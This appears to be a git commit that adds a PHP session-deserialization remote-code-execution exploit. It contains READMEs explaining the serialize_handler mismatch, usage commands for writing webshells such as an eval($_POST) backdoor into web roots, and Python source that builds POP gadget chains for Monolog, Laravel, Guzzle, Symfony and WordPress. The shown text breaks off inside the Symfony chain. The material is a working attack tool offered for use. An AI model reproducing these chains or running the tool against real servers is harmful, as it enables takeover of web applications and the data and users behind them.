Session deserialization RCE via serialize_handler mismatch (no LFI)
Exploits the interaction between php_serialize and php session handlers: when one endpoint writes sessions with php_serialize (Laravel, Symfony default) and another reads with the php handler (PHP default), injected pipe characters cause arbitrary deserialization at session_start(). 12 built-in POP chains covering current and legacy library versions: - monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest) - laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest) - monolog-cmd/fw: Monolog 1.17.2-2.x - laravel-cmd/fw: illuminate 5.4-8.x - guzzle-fw: Guzzle 4.0-7.x - symfony-cmd/fw: Symfony 2.6-4.4.18 - wordpress-cmd/fw: WordPress 6.4.0-6.4.1 All chains tested end-to-end through the full HTTP exploit flow on PHP 8.3. Accepts custom phpggc chains via --chain-file.
This commit is contained in:
@@ -25,6 +25,7 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
||||
|--------|--------|-------------|
|
||||
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
|
||||
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
|
||||
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
|
||||
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
|
||||
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
|
||||
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
||||
@@ -70,6 +71,35 @@ python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --p
|
||||
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
||||
Use `--session-path` and `--lfi-param` to override auto-detection.
|
||||
|
||||
## Session Deserialization (No LFI)
|
||||
|
||||
`session-deser/exploit.py` exploits `session.serialize_handler` mismatches
|
||||
for RCE without any LFI vulnerability. When one endpoint uses `php_serialize`
|
||||
(Laravel, Symfony default) and another uses the `php` handler (PHP default),
|
||||
the pipe character in session data triggers arbitrary deserialization.
|
||||
|
||||
Requires a deployment where two endpoints share session storage but use
|
||||
different handlers. This occurs when a framework application coexists with
|
||||
non-framework PHP on the same server (phpMyAdmin, admin scripts, legacy code).
|
||||
|
||||
Built-in POP chains for current library versions:
|
||||
|
||||
| Chain | Library | Tested version |
|
||||
|---|---|---|
|
||||
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 (latest) |
|
||||
| `laravel10-cmd/fw` | illuminate 10.0-13.x+ | v13.38.0 (latest) |
|
||||
|
||||
Plus legacy chains for Monolog 2.x, Laravel 5.4-8.x, Guzzle 4.0-7.x,
|
||||
Symfony 2.6-4.4.18, and WordPress 6.4.0-6.4.1. Accepts custom phpggc chains
|
||||
via `--chain-file`. See `session-deser/README.md` for details.
|
||||
|
||||
```bash
|
||||
python3 session-deser/exploit.py \
|
||||
--inject-url http://target/laravel-endpoint.php \
|
||||
--trigger-url http://target/legacy-script.php \
|
||||
--chain laravel10-cmd --cmd 'id'
|
||||
```
|
||||
|
||||
## Patch Bypass Findings
|
||||
|
||||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
vendor/
|
||||
__pycache__/
|
||||
composer.lock
|
||||
@@ -0,0 +1,237 @@
|
||||
# Session Deserialization RCE via Handler Mismatch
|
||||
|
||||
Remote code execution through PHP's `session.serialize_handler` mismatch.
|
||||
No LFI required. No FPM dependency. Works on any SAPI.
|
||||
|
||||
## How It Works
|
||||
|
||||
PHP supports multiple session serialization formats. The two relevant ones:
|
||||
|
||||
- `php` (the default): stores session data as `key|serialized_value`
|
||||
- `php_serialize`: stores session data as a single `serialize()`d array
|
||||
|
||||
When one endpoint writes session data using `php_serialize` and another
|
||||
reads it using the `php` handler, the pipe character `|` inside a
|
||||
serialized string is misinterpreted as a key/value delimiter. This causes
|
||||
PHP to call `unserialize()` on attacker-controlled data when
|
||||
`session_start()` runs on the second endpoint.
|
||||
|
||||
### Attack flow
|
||||
|
||||
```
|
||||
1. Attacker POSTs to endpoint A (php_serialize handler):
|
||||
data = |O:28:"Monolog\Handler\GroupHandler":1:{...}
|
||||
|
||||
2. PHP stores this in the session file as:
|
||||
a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}
|
||||
|
||||
3. Attacker GETs endpoint B (php handler) with the same session ID.
|
||||
session_start() reads the file and splits on |:
|
||||
key = a:1:{s:4:"data";s:550:"
|
||||
value = O:28:"Monolog\Handler\GroupHandler":1:{...}
|
||||
PHP calls unserialize() on the value.
|
||||
|
||||
4. The deserialized object's __destruct method fires,
|
||||
triggering the POP gadget chain for RCE.
|
||||
```
|
||||
|
||||
### What makes a target vulnerable
|
||||
|
||||
The exploit requires ALL of the following:
|
||||
|
||||
1. **Two endpoints with different session serialize handlers.** One must use
|
||||
`php_serialize`, the other must use the default `php`. PHP's own default
|
||||
is `php` for both, so this mismatch only occurs when a framework or
|
||||
application explicitly changes the handler for some endpoints.
|
||||
|
||||
2. **Shared session storage.** Both endpoints must read/write the same
|
||||
session files (same `session.save_path`). This is the default when
|
||||
both run under the same PHP installation.
|
||||
|
||||
3. **A POP gadget chain in autoloaded classes.** The deserialized objects
|
||||
must exist in classes that PHP has loaded (via autoloader or require).
|
||||
The chain must reach a dangerous sink (system(), file_put_contents(), etc.)
|
||||
through magic methods (__destruct, __wakeup, __toString, etc.).
|
||||
|
||||
### Where this mismatch occurs in practice
|
||||
|
||||
- **Laravel** sets `session.serialize_handler = php_serialize` in its
|
||||
session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin,
|
||||
admin scripts, health checks, legacy code) uses the PHP default `php`.
|
||||
|
||||
- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent
|
||||
applications on the same server may not.
|
||||
|
||||
- **Shared hosting** where multiple PHP applications share the same session
|
||||
save path but use different frameworks.
|
||||
|
||||
- **Mixed codebases** where old and new code coexist on the same domain,
|
||||
with the new code using a framework and the old code using raw PHP sessions.
|
||||
|
||||
A single-application deployment where every endpoint uses the same handler
|
||||
is NOT vulnerable to this attack.
|
||||
|
||||
## Injection Modes
|
||||
|
||||
### inject (primary)
|
||||
|
||||
The target has an endpoint that stores POST data into `$_SESSION` using
|
||||
the `php_serialize` handler. The attacker sends `|<serialized_chain>` as
|
||||
a POST value. A second request to a `php`-handler endpoint triggers
|
||||
deserialization.
|
||||
|
||||
```bash
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain laravel10-cmd --cmd 'id'
|
||||
```
|
||||
|
||||
### progress (no app session storage needed)
|
||||
|
||||
Uses `session.upload_progress` to inject the `|` character via the upload
|
||||
filename field. No application-level session writing needed. Combined with
|
||||
the OOM crash from CVE-2026-109618 to persist past cleanup.
|
||||
|
||||
Limitation: multipart filenames cannot contain NULL bytes, so the POP chain
|
||||
can only use public properties (no protected/private property serialization).
|
||||
|
||||
```bash
|
||||
python3 exploit.py --mode progress \
|
||||
--write-url http://target/any.php \
|
||||
--trigger-url http://target/default.php \
|
||||
--chain wordpress-cmd --cmd 'id'
|
||||
```
|
||||
|
||||
## Built-in POP Chains
|
||||
|
||||
Each chain is tested end-to-end through the full HTTP exploit flow
|
||||
on PHP 8.3 against the listed library version.
|
||||
|
||||
### Current versions (work on latest releases)
|
||||
|
||||
| Chain | Library | Tested on | Type | Description |
|
||||
|---|---|---|---|---|
|
||||
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents |
|
||||
| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() |
|
||||
| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") |
|
||||
|
||||
### Legacy versions
|
||||
|
||||
| Chain | Library | Tested on | Type | Description |
|
||||
|---|---|---|---|---|
|
||||
| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() |
|
||||
| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") |
|
||||
| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() |
|
||||
| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") |
|
||||
| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) |
|
||||
| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") |
|
||||
| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") |
|
||||
| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) |
|
||||
| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") |
|
||||
|
||||
### Why some chains have version ceilings
|
||||
|
||||
- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x
|
||||
RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties.
|
||||
The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead.
|
||||
|
||||
- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners
|
||||
in `createClassListener()`, which calls `$this->container->make()` on a null
|
||||
container. The RCE22 chain routes through `league/commonmark` `Environment`
|
||||
instead.
|
||||
|
||||
- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws
|
||||
`LogicException` on deserialization.
|
||||
|
||||
- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws
|
||||
`BadMethodCallException`.
|
||||
|
||||
- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws
|
||||
`LogicException`. All other WP core gadget classes (`FilteredIterator`,
|
||||
`Requests\Hooks`) are also patched. No known POP chain exists in WordPress
|
||||
7.x core.
|
||||
|
||||
### Custom chains
|
||||
|
||||
Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output
|
||||
and base64 (auto-detected).
|
||||
|
||||
```bash
|
||||
phpggc Monolog/RCE1 system id > chain.bin
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain-file chain.bin
|
||||
|
||||
# Or base64:
|
||||
phpggc Laravel/RCE22 system id -b > chain.b64
|
||||
python3 exploit.py ... --chain-file chain.b64
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
# File write webshell (Monolog 3.x, current):
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain monolog3-fw \
|
||||
--write-path /var/www/html/shell.php
|
||||
|
||||
# Direct command execution (Laravel 10+, current):
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain laravel10-cmd --cmd 'id'
|
||||
|
||||
# Custom shell code:
|
||||
python3 exploit.py ... --chain monolog3-fw \
|
||||
--write-path /var/www/html/s.php \
|
||||
--shell-code '<?php eval($_POST["x"]); ?>'
|
||||
|
||||
# Progress mode (no POST-to-session endpoint needed):
|
||||
python3 exploit.py --mode progress \
|
||||
--write-url http://target/any_endpoint.php \
|
||||
--trigger-url http://target/default_handler.php \
|
||||
--chain wordpress-cmd --cmd 'id'
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
```
|
||||
--mode {inject,progress} Injection mode (default: inject)
|
||||
--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize)
|
||||
--inject-param PARAM POST parameter stored in $_SESSION (default: data)
|
||||
--write-url URL Any endpoint for progress mode injection
|
||||
--trigger-url URL Endpoint using default php handler (triggers deserialization)
|
||||
--chain CHAIN Built-in POP chain name
|
||||
--chain-file FILE Custom serialized chain (phpggc output, raw or base64)
|
||||
--write-path PATH File path for fw chains (webshell destination)
|
||||
--shell-code CODE Custom PHP code for fw chains
|
||||
--cmd CMD Command for cmd chains
|
||||
--fields N OOM pressure fields for progress mode (default: 30000)
|
||||
--field-size N Bytes per OOM field (default: 512)
|
||||
```
|
||||
|
||||
## Test Environment
|
||||
|
||||
The test endpoints used for verification:
|
||||
|
||||
`test_serialize.php` (inject endpoint, uses php_serialize):
|
||||
```php
|
||||
<?php
|
||||
ini_set('session.serialize_handler', 'php_serialize');
|
||||
session_start();
|
||||
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;
|
||||
```
|
||||
|
||||
`test_trigger.php` (trigger endpoint, uses default php handler):
|
||||
```php
|
||||
<?php
|
||||
require 'vendor/autoload.php'; // loads framework classes
|
||||
session_start(); // deserializes session data
|
||||
```
|
||||
|
||||
The mismatch between `php_serialize` on the first and `php` (default) on the
|
||||
second is what enables the attack.
|
||||
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"require": {
|
||||
"monolog/monolog": "1.27.1",
|
||||
"fakerphp/faker": "^1.24"
|
||||
}
|
||||
}
|
||||
Executable
+995
@@ -0,0 +1,995 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
PHP Session Deserialization RCE via Handler Mismatch
|
||||
|
||||
No LFI. No FPM. Works on any SAPI (mod_php, FPM, litespeed, etc.).
|
||||
|
||||
Exploits the combination of:
|
||||
1. session.upload_progress writes attacker data to session files
|
||||
2. A session.serialize_handler mismatch between two endpoints
|
||||
3. A POP gadget chain in the application's autoloaded classes
|
||||
|
||||
When one endpoint uses php_serialize and another uses the default php
|
||||
handler, the pipe character '|' injected into session data is
|
||||
misinterpreted as a key/value delimiter, causing arbitrary
|
||||
deserialization of attacker-controlled objects.
|
||||
|
||||
Two injection modes:
|
||||
|
||||
inject (primary, full POP chain support)
|
||||
Target has an endpoint that stores POST data in $_SESSION via
|
||||
php_serialize handler. Attacker sends |<serialized_chain> as
|
||||
a POST value. A second request to a php-handler endpoint
|
||||
triggers deserialization when session_start() reads the file.
|
||||
|
||||
progress (no app involvement, limited chains)
|
||||
Uses session.upload_progress to inject '|' via the upload
|
||||
filename. No application session storage needed, but the
|
||||
multipart parser truncates NULL bytes in filenames, so the
|
||||
POP chain can only use public properties. Combined with
|
||||
OOM crash (CVE-2026-109618) to persist past cleanup.
|
||||
|
||||
Handler mismatch is common in the wild:
|
||||
- Laravel sets php_serialize in its bootstrap; any non-Laravel
|
||||
PHP on the same vhost (phpMyAdmin, admin scripts, legacy code)
|
||||
uses the default php handler
|
||||
- Symfony configures php_serialize; adjacent apps may not
|
||||
- Mixed old/new codebases on shared hosting
|
||||
|
||||
Requirements:
|
||||
- session.upload_progress.enabled = 1 (default, for progress mode)
|
||||
- Two endpoints with different session.serialize_handler settings
|
||||
- A POP gadget chain in autoloaded classes
|
||||
- session.save_handler = files (default)
|
||||
|
||||
Built-in chains (--chain):
|
||||
monolog3-fw Monolog 3.0+ FW (CURRENT) --write-path /path/shell.php
|
||||
monolog-cmd Monolog 1.17.2-2.x RCE --cmd 'id'
|
||||
monolog-fw Monolog 1.17.2-2.x FW --write-path /path/shell.php
|
||||
laravel10-cmd Laravel 10.0-13.x+ (CURRENT) --cmd 'id'
|
||||
laravel10-fw Laravel 10.0-13.x+ (CURRENT) --write-path /path/shell.php
|
||||
laravel-cmd Laravel/Illuminate 5.4-8.x --cmd 'id'
|
||||
laravel-fw Laravel/Illuminate 5.4-8.x --write-path /path/shell.php
|
||||
guzzle-fw Guzzle 4.0-7.x FW --write-path /path/shell.php
|
||||
symfony-cmd Symfony 2.6-4.4.18 RCE --cmd 'id'
|
||||
symfony-fw Symfony 2.6-4.4.18 FW --write-path /path/shell.php
|
||||
wordpress-cmd WordPress 6.4.0-6.4.1 RCE --cmd 'id' (NULL-free)
|
||||
wordpress-fw WordPress 6.4.0-6.4.1 FW --write-path /path/shell.php
|
||||
|
||||
Custom chains (--chain-file):
|
||||
phpggc Laravel/RCE1 system id > chain.bin
|
||||
python3 exploit.py ... --chain-file chain.bin
|
||||
|
||||
Tested: PHP 8.0-8.4, Linux, mod_php and PHP-FPM.
|
||||
|
||||
Usage:
|
||||
# Inject mode (most practical):
|
||||
python3 exploit.py --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-fw \\
|
||||
--write-path /var/www/html/s.php
|
||||
|
||||
# Inject mode with direct command execution:
|
||||
python3 exploit.py --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-cmd --cmd 'id'
|
||||
|
||||
# Custom phpggc chain (raw or base64):
|
||||
phpggc Monolog/RCE1 system id > chain.bin
|
||||
python3 exploit.py --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain-file chain.bin
|
||||
|
||||
# Progress mode (no app session injection needed):
|
||||
python3 exploit.py --mode progress \\
|
||||
--write-url http://target/serialize.php \\
|
||||
--trigger-url http://target/default.php \\
|
||||
--chain-file chain_pub.bin
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
import urllib.parse
|
||||
from urllib.parse import urlparse
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# PHP serialization
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def php_str(s):
|
||||
if isinstance(s, str):
|
||||
s = s.encode()
|
||||
return b"s:" + str(len(s)).encode() + b':"' + s + b'";'
|
||||
|
||||
def php_int(n):
|
||||
return b"i:" + str(n).encode() + b";"
|
||||
|
||||
def php_bool(v):
|
||||
return b"b:" + (b"1" if v else b"0") + b";"
|
||||
|
||||
def php_null():
|
||||
return b"N;"
|
||||
|
||||
def php_arr(entries):
|
||||
body = b"".join(k + v for k, v in entries)
|
||||
return b"a:" + str(len(entries)).encode() + b":{" + body + b"}"
|
||||
|
||||
def php_obj(cls, props):
|
||||
body = b"".join(k + v for k, v in props)
|
||||
cn = cls.encode() if isinstance(cls, str) else cls
|
||||
return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":'
|
||||
+ str(len(props)).encode() + b":{" + body + b"}")
|
||||
|
||||
def php_enum(cls, case):
|
||||
label = f"{cls}:{case}"
|
||||
return b"E:" + str(len(label)).encode() + b':"' + label.encode() + b'";'
|
||||
|
||||
def php_datetime_immutable():
|
||||
from datetime import datetime, timezone
|
||||
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S.000000")
|
||||
return php_obj("DateTimeImmutable", [
|
||||
(php_str("date"), php_str(now)),
|
||||
(php_str("timezone_type"), php_int(3)),
|
||||
(php_str("timezone"), php_str("UTC")),
|
||||
])
|
||||
|
||||
def prot(name):
|
||||
n = name.encode() if isinstance(name, str) else name
|
||||
return php_str(b"\x00*\x00" + n)
|
||||
|
||||
def priv(cls, name):
|
||||
c = cls.encode() if isinstance(cls, str) else cls
|
||||
n = name.encode() if isinstance(name, str) else name
|
||||
return php_str(b"\x00" + c + b"\x00" + n)
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# POP gadget chains
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def _rce1_chain(func, param):
|
||||
"""Monolog/RCE1 gadget (1.4.1-1.6.0, 1.17.2-2.7.0+).
|
||||
|
||||
SyslogUdpHandler.__destruct (inherited AbstractHandler.__destruct)
|
||||
-> close()
|
||||
-> $this->socket->close() socket = BufferHandler
|
||||
BufferHandler::close -> flush
|
||||
-> $this->handler->handleBatch($this->buffer) handler = $this (self-ref)
|
||||
AbstractHandler::handleBatch -> foreach handle($record)
|
||||
BufferHandler::handle -> call_user_func($processor, $record) for each processor
|
||||
processors[0] = 'current' -> current([$param, 'level'=>null]) = $param
|
||||
processors[1] = $func -> $func($param)
|
||||
"""
|
||||
# r:2 is a PHP serialization back-reference to object #2, the BufferHandler
|
||||
# itself. This creates the self-referencing handler=$this that phpggc uses.
|
||||
# We build it by hand: emit SyslogUdpHandler wrapping BufferHandler,
|
||||
# with handler pointing back to the BufferHandler via reference.
|
||||
|
||||
record = php_arr([
|
||||
(php_int(0), php_str(param)),
|
||||
(php_str("level"), php_null()),
|
||||
])
|
||||
|
||||
buf = php_obj("Monolog\\Handler\\BufferHandler", [
|
||||
(prot("handler"), b"r:2;"), # back-ref to self (object index 2)
|
||||
(prot("bufferSize"), php_int(-1)),
|
||||
(prot("buffer"), php_arr([(php_int(0), record)])),
|
||||
(prot("level"), php_null()),
|
||||
(prot("initialized"), php_bool(True)),
|
||||
(prot("bufferLimit"), php_int(-1)),
|
||||
(prot("processors"), php_arr([
|
||||
(php_int(0), php_str("current")),
|
||||
(php_int(1), php_str(func)),
|
||||
])),
|
||||
])
|
||||
|
||||
return php_obj("Monolog\\Handler\\SyslogUdpHandler", [
|
||||
(prot("socket"), buf),
|
||||
])
|
||||
|
||||
|
||||
def chain_monolog_fw(write_path, shell_code):
|
||||
"""Monolog file write via system() (1.4.1-1.6.0, 1.17.2-2.x).
|
||||
|
||||
Uses the Monolog/RCE1 gadget to call system() with a printf command
|
||||
that writes shell_code to write_path.
|
||||
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return _rce1_chain("system", cmd)
|
||||
|
||||
|
||||
def chain_monolog_cmd(cmd):
|
||||
"""Monolog RCE via system() (1.4.1-1.6.0, 1.17.2-2.x).
|
||||
|
||||
Uses the Monolog/RCE1 gadget to call system($cmd).
|
||||
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
|
||||
"""
|
||||
return _rce1_chain("system", cmd)
|
||||
|
||||
|
||||
def chain_monolog3_fw(write_path, shell_code):
|
||||
"""Monolog file write via DeduplicationHandler (3.0.0+, current).
|
||||
|
||||
GroupHandler.__destruct (inherited from Handler)
|
||||
-> close()
|
||||
-> foreach $this->handlers: $handler->close()
|
||||
DeduplicationHandler::close -> flush()
|
||||
-> file_put_contents($this->deduplicationStore, $line, FILE_APPEND)
|
||||
Written format: "timestamp:DEBUG:message\\n"
|
||||
PHP ignores content before <?php, so the prefix is harmless.
|
||||
|
||||
Monolog 3.x uses typed properties (PHP 8.1+ enums for Level),
|
||||
so the Monolog 2.x RCE1 chain fails. This chain uses GroupHandler
|
||||
as entry (array-typed handlers property) and DeduplicationHandler
|
||||
as sink (file_put_contents with controlled path and message).
|
||||
|
||||
Requires monolog/monolog 3.0+ (production dep in Laravel 10+,
|
||||
Symfony 6+, and many other frameworks).
|
||||
"""
|
||||
shell_code_clean = shell_code.replace("\r", " ").replace("\n", " ")
|
||||
|
||||
log_record = php_obj("Monolog\\LogRecord", [
|
||||
(php_str("level"), php_enum("Monolog\\Level", "Debug")),
|
||||
(php_str("message"), php_str(shell_code_clean)),
|
||||
(php_str("datetime"), php_datetime_immutable()),
|
||||
])
|
||||
|
||||
dedup = php_obj("Monolog\\Handler\\DeduplicationHandler", [
|
||||
(prot("deduplicationStore"), php_str(write_path)),
|
||||
(prot("bufferSize"), php_int(1)),
|
||||
(prot("buffer"), php_arr([(php_int(0), log_record)])),
|
||||
(prot("deduplicationLevel"), php_enum("Monolog\\Level", "Debug")),
|
||||
])
|
||||
|
||||
return php_obj("Monolog\\Handler\\GroupHandler", [
|
||||
(prot("handlers"), php_arr([(php_int(0), dedup)])),
|
||||
])
|
||||
|
||||
|
||||
def chain_laravel_cmd(cmd):
|
||||
"""Laravel RCE via PendingBroadcast (5.4.0-8.6.9+).
|
||||
|
||||
PendingBroadcast.__destruct
|
||||
-> $this->events->dispatch($this->event)
|
||||
Dispatcher::dispatch($event)
|
||||
-> foreach $this->listeners[$event] as $listener: $listener($event)
|
||||
-> system($cmd)
|
||||
|
||||
$this->event = $cmd (the command string)
|
||||
$this->listeners[$cmd] = ['system']
|
||||
|
||||
Requires illuminate/events + illuminate/broadcasting
|
||||
(always present in Laravel).
|
||||
"""
|
||||
dispatcher = php_obj("Illuminate\\Events\\Dispatcher", [
|
||||
(prot("listeners"), php_arr([
|
||||
(php_str(cmd), php_arr([
|
||||
(php_int(0), php_str("system")),
|
||||
])),
|
||||
])),
|
||||
])
|
||||
|
||||
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
|
||||
(prot("events"), dispatcher),
|
||||
(prot("event"), php_str(cmd)),
|
||||
])
|
||||
|
||||
|
||||
def chain_laravel_fw(write_path, shell_code):
|
||||
"""Laravel file write via system() (5.4.0-8.6.9+).
|
||||
|
||||
Same PendingBroadcast gadget, calls system() with a write command.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_laravel_cmd(cmd)
|
||||
|
||||
|
||||
def chain_laravel10_cmd(cmd):
|
||||
"""Laravel RCE via PendingBroadcast + CommonMark (10.0-13.x+, current).
|
||||
|
||||
PendingBroadcast.__destruct
|
||||
-> $this->events->dispatch($this->event)
|
||||
Environment::dispatch($event)
|
||||
-> foreach listenerData as prioritized listeners
|
||||
-> ListenerData->listener is ChainedBatchTruthTest
|
||||
ChainedBatchTruthTest::__invoke($event)
|
||||
-> call_user_func($this->callback, $event)
|
||||
-> system($cmd)
|
||||
|
||||
Channel.__toString returns $this->name, so $event becomes the
|
||||
command string when passed to system().
|
||||
|
||||
Requires illuminate/broadcasting + league/commonmark (both present
|
||||
in all Laravel 10+ installations).
|
||||
"""
|
||||
env_cls = "League\\CommonMark\\Environment\\Environment"
|
||||
list_cls = "League\\CommonMark\\Util\\PrioritizedList"
|
||||
ld_cls = "League\\CommonMark\\Event\\ListenerData"
|
||||
|
||||
truth_test = php_obj(
|
||||
"Illuminate\\Support\\Testing\\Fakes\\ChainedBatchTruthTest", [
|
||||
(prot("callback"), php_str("system")),
|
||||
])
|
||||
|
||||
listener_data = php_obj(ld_cls, [
|
||||
(priv(ld_cls, "event"),
|
||||
php_str("\\Illuminate\\Broadcasting\\Channel")),
|
||||
(priv(ld_cls, "listener"), truth_test),
|
||||
])
|
||||
|
||||
plist = php_obj(list_cls, [
|
||||
(priv(list_cls, "list"), php_arr([
|
||||
(php_int(0), php_arr([(php_int(0), listener_data)])),
|
||||
])),
|
||||
])
|
||||
|
||||
environment = php_obj(env_cls, [
|
||||
(priv(env_cls, "extensionsInitialized"), php_bool(True)),
|
||||
(priv(env_cls, "listenerData"), plist),
|
||||
])
|
||||
|
||||
channel = php_obj("Illuminate\\Broadcasting\\Channel", [
|
||||
(php_str("name"), php_str(cmd)),
|
||||
])
|
||||
|
||||
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
|
||||
(prot("events"), environment),
|
||||
(prot("event"), channel),
|
||||
])
|
||||
|
||||
|
||||
def chain_laravel10_fw(write_path, shell_code):
|
||||
"""Laravel file write via system() (10.0-13.x+, current).
|
||||
|
||||
Same PendingBroadcast + CommonMark gadget, calls system() with a
|
||||
write command.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_laravel10_cmd(cmd)
|
||||
|
||||
|
||||
def chain_guzzle_fw(write_path, data):
|
||||
"""Guzzle file write via FileCookieJar (4.0.0-7.x, patched in 8.0).
|
||||
|
||||
FileCookieJar.__destruct -> save()
|
||||
-> file_put_contents($this->filename, json_encode(...))
|
||||
Writes JSON-encoded cookie data. The 'Value' field holds the payload.
|
||||
|
||||
The written file contains JSON wrapping around the payload.
|
||||
PHP ignores everything before <?php, so a webshell embedded in the
|
||||
Value field works when accessed via HTTP. Use single quotes in the
|
||||
shell code to avoid JSON backslash escaping (double quotes become
|
||||
\" in JSON output, which breaks PHP parsing).
|
||||
|
||||
Guzzle 8.0+ added __unserialize() that throws on deserialization.
|
||||
|
||||
Requires guzzlehttp/guzzle (extremely common HTTP client).
|
||||
"""
|
||||
cookie = php_obj("GuzzleHttp\\Cookie\\SetCookie", [
|
||||
(priv("GuzzleHttp\\Cookie\\SetCookie", "data"), php_arr([
|
||||
(php_str("Expires"), php_int(1)),
|
||||
(php_str("Discard"), php_bool(False)),
|
||||
(php_str("Value"), php_str(data)),
|
||||
])),
|
||||
])
|
||||
|
||||
jar = php_obj("GuzzleHttp\\Cookie\\FileCookieJar", [
|
||||
(priv("GuzzleHttp\\Cookie\\CookieJar", "cookies"), php_arr([
|
||||
(php_int(0), cookie),
|
||||
])),
|
||||
(priv("GuzzleHttp\\Cookie\\CookieJar", "strictMode"), php_bool(False)),
|
||||
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "filename"), php_str(write_path)),
|
||||
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "storeSessionCookies"), php_bool(True)),
|
||||
])
|
||||
|
||||
return jar
|
||||
|
||||
|
||||
def chain_symfony_cmd(cmd):
|
||||
"""Symfony RCE via WindowsPipes (2.6.0-4.4.18).
|
||||
|
||||
